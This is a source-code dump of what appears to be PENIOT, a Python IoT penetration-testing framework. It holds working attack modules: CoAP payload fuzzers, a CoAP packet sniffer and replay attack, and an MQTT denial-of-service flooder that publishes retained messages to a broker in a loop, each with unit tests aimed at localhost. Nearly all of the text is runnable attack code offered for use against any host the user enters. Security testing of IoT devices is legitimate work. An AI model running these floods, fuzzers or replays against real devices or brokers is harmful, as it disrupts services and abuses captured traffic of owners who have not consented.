self.coap_dos_attack.inputs[index].set_value(_input)
self.coap_dos_attack.run()
print "* If server is not initialized this test will not execute properly."
p = multiprocessing.Process(target=run_attack, name="DoS Attack")
p.start()
time.sleep(5)
if p.is_alive():
p.terminate()
p.join()
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/CoAP/attacks/coap_fuzzing_attack_suite.py
================================================
from Entity.attack_suite import AttackSuite
from coap_payload_size_fuzzer import *
from coap_random_payload_fuzzing import *
import multiprocessing
import unittest
class CoAPFuzzingAttackSuite(AttackSuite):
def __init__(self):
attacks = [CoAPRandomPayloadFuzzingAttack(), CoAPPayloadSizeFuzzerAttack()]
AttackSuite.__init__(self, "CoAP Fuzzing Attack Suite", attacks)
class TestCoAPFuzzingAttackSuite(unittest.TestCase):
def setUp(self):
self.coap_fuzzing_attack_suite = CoAPFuzzingAttackSuite()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("CoAP Fuzzing Attack Suite", self.coap_fuzzing_attack_suite.get_attack_suite_name())
def test_attack_list(self):
attacks = self.coap_fuzzing_attack_suite.get_attacks()
self.assertIsNotNone(attacks)
self.assertGreater(len(attacks), 0, "Non inserted attacks")
self.assertEquals(len(attacks), 2)
def test_attacks(self):
attacks = self.coap_fuzzing_attack_suite.get_attacks()
for attack in attacks:
p = multiprocessing.Process(target=attack.run, name=attack.get_attack_name())
p.start()
time.sleep(5)
if p.is_alive():
p.terminate()
p.join()
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/CoAP/attacks/coap_payload_size_fuzzer.py
================================================
import logging
import multiprocessing
import random
import signal
import time
import unittest
from coapthon.client.helperclient import HelperClient
from Entity.attack import Attack
from Entity.input_format import InputFormat
from protocols import CoAP as PeniotCoAP
class CoAPPayloadSizeFuzzerAttack(Attack):
"""
CoAP Protocol - Payload Size Fuzzer Attack module
It is created to test any CoAP device as black box test with malformed or semi-malformed inputs
"""
client = None
# Input Fields
host = None
port = None
path = None
method = None
method_string = PeniotCoAP.get_coap_methods_as_string(PeniotCoAP.CoAPMethods.POST)
fuzzing_turn = 10
# Miscellaneous Members
logger = None
max_payload_length = 2 ** 16 - 1
sent_message_count = 0 # Transmitted fuzzing packets
stopped_flag = False
def __init__(self):
default_parameters = ["", "", "", "", 10, self.max_payload_length]
inputs = [
InputFormat("Host Name", "host", "", str, mandatory=True),
InputFormat("Port Number", "port", "", int, mandatory=True),
InputFormat("Endpoint", "path", "", str, mandatory=True),
InputFormat("Method", "method_string", self.method_string, str, mandatory=True),
InputFormat("Fuzzing Round Count", "fuzzing_turn", self.fuzzing_turn, int),
InputFormat("Maximum Payload Size", "max_payload_length", self.max_payload_length, int, mandatory=True)
]
Attack.__init__(self, "CoAP Payload Size Fuzzer Attack", inputs, default_parameters,
" CoAP Payload size fuzzer attack description")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
# Signal handler to exit from function
signal.signal(signal.SIGINT, self.signal_handler)
def signal_handler(self, sig, frame):
self.stop_attack()
def stop_attack(self):
self.logger.info("Sent message count: {0}, exitting...".format(self.sent_message_count))
self.stopped_flag = True
if self.client is not None:
self.client.stop()
self.client = None
time.sleep(2) # Sleep two seconds so the user can see the message
def pre_attack_init(self):
try:
assert PeniotCoAP.does_method_have_payload(self.method) and self.fuzzing_turn >= 2
except AssertionError as e:
raise
self.client = HelperClient(server=(self.host, self.port))
self.method = PeniotCoAP.get_coap_methods_by_name(self.method_string)
def run(self):
Attack.run(self)
self.pre_attack_init()
# Fill the size list as randomly generated
size_list = [0, self.max_payload_length]
size_list.extend([random.randint(0, self.max_payload_length) for _ in range(self.fuzzing_turn - 2)])
fuzzing = 0
self.logger.info("Size payload fuzzing is started. Please consider it may take some time.")
for payload_size in size_list:
if self.stopped_flag is True: # Attack is terminated
break
# Create payload and send it
random_strings = "".join([chr(_) for _ in range(65, 91)]) + "".join([chr(_) for _ in range(97, 123)])
random_character = random.choice(random_strings)
sized_payload = random_character * payload_size
PeniotCoAP.make_request(self.client, self.path, self.method, sized_payload)
# Informative procedures
self.logger.info("Turn {0} is completed".format(fuzzing + 1))
self.sent_message_count += 1
fuzzing += 1
time.sleep(1)
if self.stopped_flag is False:
self.logger.info("Payload size attack is finished.")
else:
self.logger.info("Payload size attack has been terminated.")
if self.client is not None:
self.client.stop()
self.client = None
class TestCoAPPayloadSizeAttack(unittest.TestCase):
def setUp(self):
self.coap_payload_size_fuzzer = CoAPPayloadSizeFuzzerAttack()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("CoAP Payload Size Fuzzer Attack", self.coap_payload_size_fuzzer.get_attack_name())
def test_inputs(self):
inputs = self.coap_payload_size_fuzzer.get_inputs()
self.assertIsNotNone(inputs)
self.assertGreater(len(inputs), 0, "Non inserted inputs")
self.assertEquals(len(inputs), 6)
def test_non_initialized_inputs(self):
inputs = self.coap_payload_size_fuzzer.get_inputs()
for _input in inputs:
value = getattr(self.coap_payload_size_fuzzer, _input.get_name())
self.assertTrue(value is None or type(value) == _input.get_type())
def test_after_getting_inputs(self):
example_inputs = ["a.b.c.d", 8888, "peniot-coap-test", "PuT", 13, 6583]
for index, _input in enumerate(example_inputs):
self.coap_payload_size_fuzzer.inputs[index].set_value(_input)
# Previously it should not be set
self.assertIsNone(self.coap_payload_size_fuzzer.client)
super(CoAPPayloadSizeFuzzerAttack, self.coap_payload_size_fuzzer).run()
inputs = self.coap_payload_size_fuzzer.get_inputs()
for index, _input in enumerate(inputs):
value = getattr(self.coap_payload_size_fuzzer, _input.get_name())
self.assertEqual(example_inputs[index], value)
def test_invalid_method(self):
example_inputs = ["127.0.0.1", 8888, "peniot-coap-test", "geT", 13, 6583]
for index, _input in enumerate(example_inputs):
self.coap_payload_size_fuzzer.inputs[index].set_value(_input)
super(CoAPPayloadSizeFuzzerAttack, self.coap_payload_size_fuzzer).run()
try:
self.coap_payload_size_fuzzer.pre_attack_init()
except AssertionError as e:
self.assertTrue(True)
def test_invalid_fuzzing_turn(self):
example_inputs = ["127.0.0.1", 8888, "peniot-coap-test", "puT", 1, 6583]
for index, _input in enumerate(example_inputs):
self.coap_payload_size_fuzzer.inputs[index].set_value(_input)
super(CoAPPayloadSizeFuzzerAttack, self.coap_payload_size_fuzzer).run()
try:
self.coap_payload_size_fuzzer.pre_attack_init()
except AssertionError as e:
self.assertTrue(True)
def test_payload_size_fuzzing_attack(self):
def run_attack():
example_inputs = ["127.0.0.1", 5683, "peniot", "pOsT", 3, 6583]
for index, _input in enumerate(example_inputs):
self.coap_payload_size_fuzzer.inputs[index].set_value(_input)
try:
self.coap_payload_size_fuzzer.run()
except Exception as e:
self.assertTrue(False)
print "* If server is not initialized this test will not execute properly."
p = multiprocessing.Process(target=run_attack, name="DoS Attack")
p.start()
time.sleep(5)
if p.is_alive():
p.terminate()
p.join()
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/CoAP/attacks/coap_random_payload_fuzzing.py
================================================
import logging
import multiprocessing
import random
import signal
import time
import unittest
from coapthon.client.helperclient import HelperClient
from Entity.attack import Attack
from Entity.input_format import InputFormat
from Utils.FuzzerUtil import radamsa_util as rdm
from protocols import CoAP as PeniotCoAP
class CoAPRandomPayloadFuzzingAttack(Attack):
"""
CoAP Protocol - Random Payload Fuzzing Attack module
It is created to test any CoAP device as black box test with malformed or semi-malformed inputs
"""
client = None
# Input Fields
host = None
port = None
path = None
payload = None
method = None
method_string = PeniotCoAP.get_coap_methods_as_string(PeniotCoAP.CoAPMethods.POST)
fuzzing_turn = 10
fuzzing_count = 10
# Miscellaneous Members
logger = None
max_length_of_random_payload = 100
sent_message_count = 0 # Transmitted fuzzing packets
stopped_flag = False
def __init__(self):
default_parameters = ["", "", "", "", "", 2, 10, 100]
inputs = [
InputFormat("Host Name", "host", "", str, mandatory=True),
InputFormat("Port Number", "port", "", int, mandatory=True),
InputFormat("Endpoint", "path", "", str, mandatory=True),
InputFormat("Seed Payload", "payload", "", str, mandatory=True),
InputFormat("Method", "method_string", self.method_string, str, mandatory=True),
InputFormat("Fuzzing Round Count", "fuzzing_turn", self.fuzzing_turn, int),
InputFormat("Number of fuzzer messages", "fuzzing_count", self.fuzzing_count, int),
InputFormat("Payload length", "max_length_of_random_payload", self.max_length_of_random_payload, int, mandatory=True)
]
Attack.__init__(self, "CoAP Random Payload Fuzzing Attack", inputs, default_parameters,
" It creates a random payload and sends \n"
" this payload to the client.")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
# Signal handler to exit from function
signal.signal(signal.SIGINT, self.signal_handler)
def signal_handler(self, sig, frame):
self.stop_attack()
def stop_attack(self):
self.logger.info("Sent message count: {0}, exitting...".format(self.sent_message_count))
self.stopped_flag = True
if self.client is not None:
self.client.stop()
self.client = None
time.sleep(2) # Sleep two seconds so the user can see the message
def pre_attack_init(self):
self.client = HelperClient(server=(self.host, self.port))
self.method = PeniotCoAP.get_coap_methods_by_name(self.method_string)
try:
assert PeniotCoAP.does_method_have_payload(self.method) and self.fuzzing_turn >= 2
except AssertionError as e:
raise
def run(self):
Attack.run(self)
self.pre_attack_init()
self.logger.info("Random payload fuzzing is started.")
if self.payload is None:
length = random.randint(1, self.max_length_of_random_payload)
self.payload = "".join([chr(random.randint(1, 127)) for _ in range(length)])
for fuzzing in range(self.fuzzing_turn):
if self.stopped_flag is True:
break
while self.stopped_flag is False:
try:
returned_strings = rdm.get_ascii_decodable_radamsa_malformed_input(self.payload, self.fuzzing_count)
if type(returned_strings) == list:
fuzzer_messages = [string.decode("utf-8") for string in returned_strings]
else:
fuzzer_messages = returned_strings.decode("utf-8")
break
except UnicodeDecodeError:
continue
# Check whether result is list or not
if type(fuzzer_messages) == list:
for message in fuzzer_messages:
PeniotCoAP.make_request(self.client, self.path, self.method, message)
# Increment sent message count
self.sent_message_count += 1
else:
PeniotCoAP.make_request(self.client, self.path, self.method, fuzzer_messages)
# Increment sent message count
self.sent_message_count += 1
time.sleep(1)
self.logger.info("Turn {0} is completed".format(fuzzing + 1))
if self.stopped_flag is False:
self.logger.info("Random payload fuzzing is finished.")
else:
self.logger.info("Random payload fuzzing has been terminated.")
if self.client is not None:
self.client.stop()
self.client = None
class TestCoAPRandomPayloadAttack(unittest.TestCase):
def setUp(self):
self.coap_random_payload_fuzzer = CoAPRandomPayloadFuzzingAttack()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("CoAP Random Payload Fuzzing Attack", self.coap_random_payload_fuzzer.get_attack_name())
def test_inputs(self):
inputs = self.coap_random_payload_fuzzer.get_inputs()
self.assertIsNotNone(inputs)
self.assertGreater(len(inputs), 0, "Non inserted inputs")
self.assertEquals(len(inputs), 8)
def test_non_initialized_inputs(self):
inputs = self.coap_random_payload_fuzzer.get_inputs()
for _input in inputs:
value = getattr(self.coap_random_payload_fuzzer, _input.get_name())
self.assertTrue(value is None or type(value) == _input.get_type())
def test_after_getting_inputs(self):
example_inputs = ["a.b.c.d", 8888, "peniot-coap-test", "Heyyo", "PuT", 13, 12, 11]
for index, _input in enumerate(example_inputs):
self.coap_random_payload_fuzzer.inputs[index].set_value(_input)
# Previously it should not be set
self.assertIsNone(self.coap_random_payload_fuzzer.client)
super(CoAPRandomPayloadFuzzingAttack, self.coap_random_payload_fuzzer).run()
inputs = self.coap_random_payload_fuzzer.get_inputs()
for index, _input in enumerate(inputs):
value = getattr(self.coap_random_payload_fuzzer, _input.get_name())
self.assertEqual(example_inputs[index], value)
def test_invalid_method(self):
example_inputs = ["127.0.0.1", 8888, "peniot-coap-test", "Ghetto", "geT", 13, 12, 11]
for index, _input in enumerate(example_inputs):
self.coap_random_payload_fuzzer.inputs[index].set_value(_input)
super(CoAPRandomPayloadFuzzingAttack, self.coap_random_payload_fuzzer).run()
try:
self.coap_random_payload_fuzzer.pre_attack_init()
except AssertionError as e:
self.assertTrue(True)
def test_invalid_fuzzing_turn(self):
example_inputs = ["127.0.0.1", 8888, "peniot-coap-test", "Keyyo", "puT", 1, 12, 11]
for index, _input in enumerate(example_inputs):
self.coap_random_payload_fuzzer.inputs[index].set_value(_input)
super(CoAPRandomPayloadFuzzingAttack, self.coap_random_payload_fuzzer).run()
try:
self.coap_random_payload_fuzzer.pre_attack_init()
except AssertionError as e:
self.assertTrue(True)
def test_random_payload_fuzzing_attack(self):
def run_attack():
example_inputs = ["127.0.0.1", 5683, "peniot", None, "pOsT", 3, 5, 12]
for index, _input in enumerate(example_inputs):
self.coap_random_payload_fuzzer.inputs[index].set_value(_input)
try:
self.coap_random_payload_fuzzer.run()
except Exception as e:
self.assertTrue(False)
print "* If server is not initialized this test will not execute properly."
p = multiprocessing.Process(target=run_attack, name=self.coap_random_payload_fuzzer.get_attack_name())
p.start()
time.sleep(15)
if p.is_alive():
p.terminate()
p.join()
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/CoAP/attacks/coap_replay_attack.py
================================================
import logging
import signal
import socket
import time
import unittest
from Entity.attack import Attack
from Entity.input_format import InputFormat
from Utils.SnifferUtil import generic_sniffer
from protocols.CoAP.coap_scanner import CoAPScanner
class CoAPReplayAttack(Attack):
"""
CoAP Protocol - Replay Attack module
It is created to scan/sniff the valid traffic of target protocol and send the selected packets to the target device
"""
captured_packets = None
# Input Fields
selected_index = 0
timeout = generic_sniffer.DEFAULT_SNIFF_TIMEOUT
interface = generic_sniffer.DEFAULT_INTERFACE
# Miscellaneous Members
logger = None
def __init__(self):
default_parameters = ["", 10, "any"]
inputs = [
InputFormat("Selected packet index", "selected_index", self.selected_index, int, mandatory=True),
InputFormat("Timeout", "timeout", self.timeout, float),
InputFormat("Interface", "interface", str(self.interface), str, mandatory=True)
]
Attack.__init__(self, "CoAP Replay Attack", inputs, default_parameters,
" It listens to the network traffic and\n"
" sends captured packets without changing anything.")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
# Signal handler to exit from function
signal.signal(signal.SIGINT, self.signal_handler)
def signal_handler(self, sig, frame):
self.stop_attack()
def stop_attack(self):
self.logger.info("Exitting...")
time.sleep(2) # Sleep two seconds so the user can see the message
def pre_attack_init(self):
try:
assert self.selected_index >= 0
except AssertionError as e:
self.logger.error("Invalid input value!")
raise
def run(self):
super(CoAPReplayAttack, self).run()
self.pre_attack_process() # Sniff the packets so we can replay
self.pre_attack_init() # Do the necessary checks
try:
selected_packet = self.captured_packets[self.selected_index]
self.logger.info(selected_packet)
udp_payload = CoAPScanner.get_raw_udp_payload_as_bytes(selected_packet)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(udp_payload, (str(selected_packet["ip"].dst), int(selected_packet["udp"].dstport)))
except IndexError as e:
self.logger.error("Invalid packet index. Indices start from 0...")
def pre_attack_process(self):
"""
TODO Need to think how we can integrate such a pre_called method to GUI before attack execution
Scans valid packets to be replayed
"""
super(CoAPReplayAttack, self).set_input_value("timeout")
try:
assert self.timeout >= 0
self.captured_packets = CoAPScanner().scan(self.timeout, self.interface, True)
except AssertionError as e:
self.logger.error("Invalid timeout for scan operation!")
class TestCoAPReplayAttack(unittest.TestCase):
def setUp(self):
self.coap_replay_attack = CoAPReplayAttack()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("CoAP Replay Attack", self.coap_replay_attack.get_attack_name())
def test_non_initialized_inputs(self):
inputs = self.coap_replay_attack.get_inputs()
for _input in inputs:
value = getattr(self.coap_replay_attack, _input.get_name())
self.assertTrue(value is None or type(value) == _input.get_type())
def test_after_getting_inputs(self):
example_inputs = [8, 13.2, "test-interface"]
for index, _input in enumerate(example_inputs):
self.coap_replay_attack.inputs[index].set_value(_input)
super(CoAPReplayAttack, self.coap_replay_attack).run()
inputs = self.coap_replay_attack.get_inputs()
for index, _input in enumerate(inputs):
value = getattr(self.coap_replay_attack, _input.get_name())
self.assertEqual(example_inputs[index], value)
def test_replay_attack(self):
example_inputs = [0, 15., "any"]
for index, _input in enumerate(example_inputs):
self.coap_replay_attack.inputs[index].set_value(_input)
self.coap_replay_attack.pre_attack_process()
packets = self.coap_replay_attack.captured_packets
self.assertIsNotNone(packets)
self.assertTrue(type(packets) == list)
self.assertGreaterEqual(len(packets), 0)
if len(packets) > 0:
self.coap_replay_attack.run()
self.assertTrue(True)
else:
self.assertTrue(False)
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/CoAP/attacks/coap_sniff_attack.py
================================================
import logging
import signal
import time
import unittest
from Entity.attack import Attack
from Entity.input_format import InputFormat
from Utils import CommonUtil
from Utils.SnifferUtil import generic_sniffer
from protocols.CoAP.coap_scanner import CoAPScanner
class CoAPSniffAttack(Attack):
"""
It is created to scan/sniff the devices for their information
CoAP Protocol - Sniff Attack module
"""
# Input Fields
timeout = generic_sniffer.DEFAULT_SNIFF_TIMEOUT
interface = generic_sniffer.DEFAULT_INTERFACE
save_output = generic_sniffer.DEFAULT_SAVE
# Miscellaneous Members
logger = None
def __init__(self):
default_parameters = [10.0, generic_sniffer.DEFAULT_INTERFACE, generic_sniffer.DEFAULT_SAVE]
inputs = [
InputFormat("Timeout", "timeout", self.timeout, float),
InputFormat("Interface", "interface", str(self.interface), str, mandatory=True),
InputFormat("Save Captured Packets", "save_output", str(self.save_output), bool)
]
Attack.__init__(self, "CoAP Sniff Attack", inputs, default_parameters,
" It listens to the network traffic and\n"
" captures CoAP packets.")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
# Signal handler to exit from function
signal.signal(signal.SIGINT, self.signal_handler)
def signal_handler(self, sig, frame):
self.stop_attack()
def stop_attack(self):
self.logger.info("Exitting...")
time.sleep(2) # Sleep two seconds so the user can see the message
def run(self):
super(CoAPSniffAttack, self).run()
packets = CoAPScanner().scan(self.timeout, self.interface,
output_pcap_filename="CoAP_" + CommonUtil.get_current_datetime_for_filename_format() if self.save_output else None)
for packet in packets:
self.logger.info(packet)
return packets
class TestCoAPSniffAttack(unittest.TestCase):
def setUp(self):
self.coap_sniff_attack = CoAPSniffAttack()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("CoAP Sniff Attack", self.coap_sniff_attack.get_attack_name())
def test_non_initialized_inputs(self):
inputs = self.coap_sniff_attack.get_inputs()
for _input in inputs:
value = getattr(self.coap_sniff_attack, _input.get_name())
self.assertTrue(value is None or type(value) == _input.get_type())
def test_after_getting_inputs(self):
example_inputs = [13.2, "test-interface", False]
for index, _input in enumerate(example_inputs):
self.coap_sniff_attack.inputs[index].set_value(_input)
super(CoAPSniffAttack, self.coap_sniff_attack).run()
inputs = self.coap_sniff_attack.get_inputs()
for index, _input in enumerate(inputs):
value = getattr(self.coap_sniff_attack, _input.get_name())
self.assertEqual(example_inputs[index], value)
def test_sniff_attack(self):
example_inputs = [10.0]
for index, _input in enumerate(example_inputs):
self.coap_sniff_attack.inputs[index].set_value(_input)
packets = self.coap_sniff_attack.run()
self.assertIsNotNone(packets)
self.assertTrue(type(packets) == list)
self.assertGreaterEqual(len(packets), 0)
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/CoAP/coap_protocol.py
================================================
from Entity.protocol import Protocol
import unittest
class CoAP(Protocol):
def __init__(self):
co_ap_definition = "CoAP (Constrained Application Protocol) is designed as a lightweight machine-to-machine " \
"(M2M) protocol that can run on smart devices where memory and computing resources are " \
"scarce.\n\n" \
"The protocol is especially targeted for constrained hardware such as 8-bits microcontrollers " \
",low power sensors and similar devices that can not run on HTTP or TLS. CoAP is a " \
"simplification of the HTTP protocol running on UDP, that helps save bandwidth. But just " \
"like any other UDP-based protocol, CoAP is inherently susceptible to IP address " \
"spoofing and packet amplification, the two major factors that enable the amplification of " \
" a DDoS attack.\n\nLike HTTP, CoAP is based on the wildly successful REST model: Servers " \
"make resources available under a URL, and clients access these resources using methods " \
"such as GET, PUT, POST, and DELETE.\n\nCoAP can carry different types of payloads, and " \
"can identify which payload type is being used. CoAP integrates with XML, JSON, CBOR, or " \
"any data format of your choice.\n\nCoAP is designed to use minimal resources, both on " \
"the device and on the network. Instead of a complex transport stack, it gets by with UDP " \
"on IP. A 4-byte fixed header and a compact encoding of options enables small messages that" \
"cause no or little fragmentation on the link layer. Many servers can operate in a " \
"completely stateless fashion."
attack_suites = []
Protocol.__init__(self, "CoAP", attack_suites, co_ap_definition)
class TestCoAPProtocol(unittest.TestCase):
def setUp(self):
self.coap = CoAP()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("CoAP", self.coap.get_protocol_name())
def test_attacks(self):
attack_suites = self.coap.get_attack_suites()
self.assertIsNotNone(attack_suites)
self.assertEquals(len(attack_suites), 0)
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/CoAP/coap_scanner.py
================================================
from Utils.SnifferUtil import generic_sniffer as generic_sniffer
import socket
# Capturing via TShark
coap_layer_filter = 'coap'
class CoAPScanner:
"""
This class is used to scan for a CoAP device.
It captures packets from the network and try to find CoAP devices.
"""
def __init__(self):
pass
@staticmethod
def scan(timeout=generic_sniffer.DEFAULT_SNIFF_TIMEOUT, interface=generic_sniffer.DEFAULT_INTERFACE,
use_json_and_include_raw=False, output_pcap_filename=None):
sniffer = generic_sniffer.GenericSniffer(timeout=timeout, interface=interface,
use_json=use_json_and_include_raw,
include_raw=use_json_and_include_raw,
output_pcap_filename=output_pcap_filename,
display_filter=coap_layer_filter)
sniffer.start_live_capture()
return sniffer.get_captured_packets()
@staticmethod
def get_raw_udp_payload_as_bytes(packet):
return (packet.coap_raw.value[0]).decode("hex")
@staticmethod
def get_raw_frame_as_bytes(packet):
return (packet.frame_raw.value[0]).decode("hex")
if __name__ == '__main__':
raw = False
packets = CoAPScanner().scan()
"""
for i in packets:
# Send messages to server as replayed
if raw:
if "" not in str(i.layers):
udp_payload = CoAPScanner.get_raw_udp_payload_as_bytes(i)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(udp_payload, ("127.0.0.1", 5683))
else:
print i
"""
================================================
FILE: src/protocols/CoAP/examples/__init__.py
================================================
"""
This package contains the following functionalities:
1) CoAP Server Example
2) CoAP Client Example
3) CoAP Resource Example
"""
================================================
FILE: src/protocols/CoAP/examples/client_example.py
================================================
from coapthon.client.helperclient import HelperClient
import argparse
import logging
import signal
import sys
import time
DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 5683
DEFAULT_PATH = "peniot"
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s")
logger = logging.getLogger("CoAP Client")
global_client = None
"""
CoAP Basic Client
"""
def signal_handler(sig, frame):
global global_client
logger.info("Connection will be closed")
if global_client is not None:
global_client.stop()
sys.exit(0)
def client_procedure(host, port, path):
"""
Client procedure for CoAP
:param host: Host address to connect
:param port: Port number of server
:param path: Path as endpoint to request resources
:return: None
"""
# Signal handler to exit from function
signal.signal(signal.SIGINT, signal_handler)
# Make global client available to exit properly
global global_client
client = HelperClient(server=(host, port))
global_client = client
# Start client loop for requests
while True:
response = client.get(path)
logger.info("Received message = {0}".format(str(response.line_print)))
time.sleep(2)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-H", "--host", help="Host string of server", default=DEFAULT_HOST)
parser.add_argument("-P", "--port", help="Port number of server", default=DEFAULT_PORT, type=int)
parser.add_argument("-e", "--endpoint", help="Path of resources", default=DEFAULT_PATH)
args = parser.parse_args()
client_procedure(args.host, args.port, args.endpoint)
================================================
FILE: src/protocols/CoAP/examples/resource_example.py
================================================
from coapthon.resources.resource import Resource
class BasicResource(Resource):
def __init__(self, name="BasicResource", coap_server=None):
super(BasicResource, self).__init__(name, coap_server, visible=True,
observable=True, allow_children=True)
self.payload = "Basic Resource"
def render_GET(self, request):
return self
def render_PUT(self, request):
self.payload = request.payload
return self
def render_POST(self, request):
res = BasicResource()
res.location_query = request.uri_query
res.payload = request.payload
return res
def render_DELETE(self, request):
return True
def render_GET_advanced(self, request, response):
pass
def render_PUT_advanced(self, request, response):
pass
def render_POST_advanced(self, request, response):
pass
def render_DELETE_advanced(self, request, response):
pass
================================================
FILE: src/protocols/CoAP/examples/server_example.py
================================================
from coapthon.server.coap import CoAP
from resource_example import BasicResource
import argparse
# import logging
DEFAULT_HOST = "0.0.0.0"
DEFAULT_PORT = 5683
DEFAULT_PATH = "peniot"
# Since it has logger itself
# logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s")
# logger = logging.getLogger("CoAP Server")
"""
CoAP Basic Server
"""
class CoAPServer(CoAP):
def __init__(self, host, port, path):
CoAP.__init__(self, (host, port))
self.add_resource(path + '/', BasicResource())
def server_procedure(host, port, path):
"""
Server procedure for CoAP
:param host: Host address to connect
:param port: Port number of server
:param path: Path as endpoint to request resources
:return: None
"""
server = CoAPServer(host, port, path)
try:
server.listen(10)
except KeyboardInterrupt:
print "Server Shutdown"
server.close()
print "Exiting..."
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-H", "--host", help="Host string of server", default=DEFAULT_HOST)
parser.add_argument("-P", "--port", help="Port number of server", default=DEFAULT_PORT, type=int)
parser.add_argument("-e", "--endpoint", help="Path of resources", default=DEFAULT_PATH)
args = parser.parse_args()
server_procedure(args.host, args.port, args.endpoint)
================================================
FILE: src/protocols/MQTT/__init__.py
================================================
"""
This package includes the following functionalities
1) Attacks to perform on MQTT protocol
2) MQTT subscriber and publisher for testing Mosquitto servers
3) ...
Moreover, we have a class which inherits from Protocol class.
"""
================================================
FILE: src/protocols/MQTT/attacks/__init__.py
================================================
"""
This is a package that contains attacks to MQTT protocol.
Currently, it supports the following attacks
1) Denial of Service Attack
2) Fuzzing Attack
3) Replay Attack
4) Sniff Attack
"""
================================================
FILE: src/protocols/MQTT/attacks/mqtt_dos_attack.py
================================================
import multiprocessing
import random
import signal
import string
import sys
import logging
import time
import unittest
import paho.mqtt.client as paho
from Entity.attack import Attack
from Entity.input_format import InputFormat
from Utils.RandomUtil import random_generated_names
class MQTTDoSAttack(Attack):
"""
MQTT Protocol - DoS Attack Module
This class is used for populating repeated messages aiming to broker
"""
client = None
# Input Fields
host = None
topic = "#"
message = None
username = None
password = None
timeout = 0.01
stopped_flag = False # This flag will help us for a smooth exit
# Misc Members
logger = None
published_message_count = 0
def __init__(self):
default_parameters = ["127.0.0.1", "#", "", "", "", 10.0]
inputs = [
InputFormat("Broker Address", "host", "", str, mandatory=True),
InputFormat("Topic Name", "topic", self.topic, str, mandatory=True),
InputFormat("Username", "username", "", str, mandatory=True),
InputFormat("Password", "password", "", str, mandatory=True, secret=True),
InputFormat("Message", "message", "", str, mandatory=True),
InputFormat("Timeout", "timeout", self.timeout, float)
]
Attack.__init__(self, "MQTT DoS Attack", inputs, default_parameters,
" We publish messages to MQTT broker.\n"
" The time difference between messages\n"
" can be specified.")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
# Signal handler to exit from function
signal.signal(signal.SIGINT, self.signal_handler)
def signal_handler(self, sig, frame):
self.stop_attack()
def stop_attack(self):
self.logger.info("Published message count: {0}, exitting...".format(self.published_message_count))
if self.stopped_flag is False: # Stop the attack
self.client.loop_stop()
self.stopped_flag = True
if self.client is not None:
self.client.disconnect() # Close the connection before exitting
time.sleep(2) # Sleep two seconds so the user can see the message
# sys.exit(0)
def pre_attack_init(self):
self.client = paho.Client(random_generated_names.get_random_client_name())
self.client.connect(self.host)
def run(self):
Attack.run(self)
self.pre_attack_init()
# Start client loop for requests
self.published_message_count = 0
self.client.loop_start()
if self.message is None or len(self.message.strip()) == 0:
self.message = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(50))
while self.stopped_flag is False: # If we don't check this, GUI goes back but a separate thread keeps sending MQTT messages
try:
self.published_message_count += 1
if self.username is None: # Authentication not required
self.client.publish(self.topic, self.message, retain=True)
self.logger.info(
"Sent message count = {0} with topic = {1}.".format(self.published_message_count, self.topic))
else: # Authentication required
# TODO Handle authentication after getting inputs
self.client.publish(self.topic, self.message, retain=True)
self.logger.info(
"Sent message count = {0} with topic = {1}.".format(self.published_message_count, self.topic))
time.sleep(self.timeout)
except Exception as e:
self.logger.debug(sys.exc_info()[0])
break
self.client.loop_stop()
self.stopped_flag = True
class TestMQTTDoSAttack(unittest.TestCase):
def setUp(self):
self.mqtt_dos_attack = MQTTDoSAttack()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("MQTT DoS Attack", self.mqtt_dos_attack.get_attack_name())
def test_inputs(self):
inputs = self.mqtt_dos_attack.get_inputs()
self.assertIsNotNone(inputs)
self.assertGreater(len(inputs), 0, "Non inserted inputs")
self.assertEquals(len(inputs), 6)
def test_non_initialized_inputs(self):
inputs = self.mqtt_dos_attack.get_inputs()
for _input in inputs:
value = getattr(self.mqtt_dos_attack, _input.get_name())
self.assertTrue(value is None or type(value) == _input.get_type())
def test_after_getting_inputs(self):
example_inputs = ["a.b.c.d", "peNiOt", "pen-user", "pen-pass", "peniot-payload", 13.2]
for index, _input in enumerate(example_inputs):
self.mqtt_dos_attack.inputs[index].set_value(_input)
# Previously it should not be set
self.assertIsNone(self.mqtt_dos_attack.client)
super(MQTTDoSAttack, self.mqtt_dos_attack).run()
inputs = self.mqtt_dos_attack.get_inputs()
for index, _input in enumerate(inputs):
value = getattr(self.mqtt_dos_attack, _input.get_name())
self.assertEqual(example_inputs[index], value)
def test_dos_attack(self):
def run_attack():
example_inputs = ["127.0.0.1", "peniot/test", None, None, "peniot-pay", 0.01]
for index, _input in enumerate(example_inputs):
self.mqtt_dos_attack.inputs[index].set_value(_input)
self.mqtt_dos_attack.run()
print "* If server is not initialized this test will not execute properly."
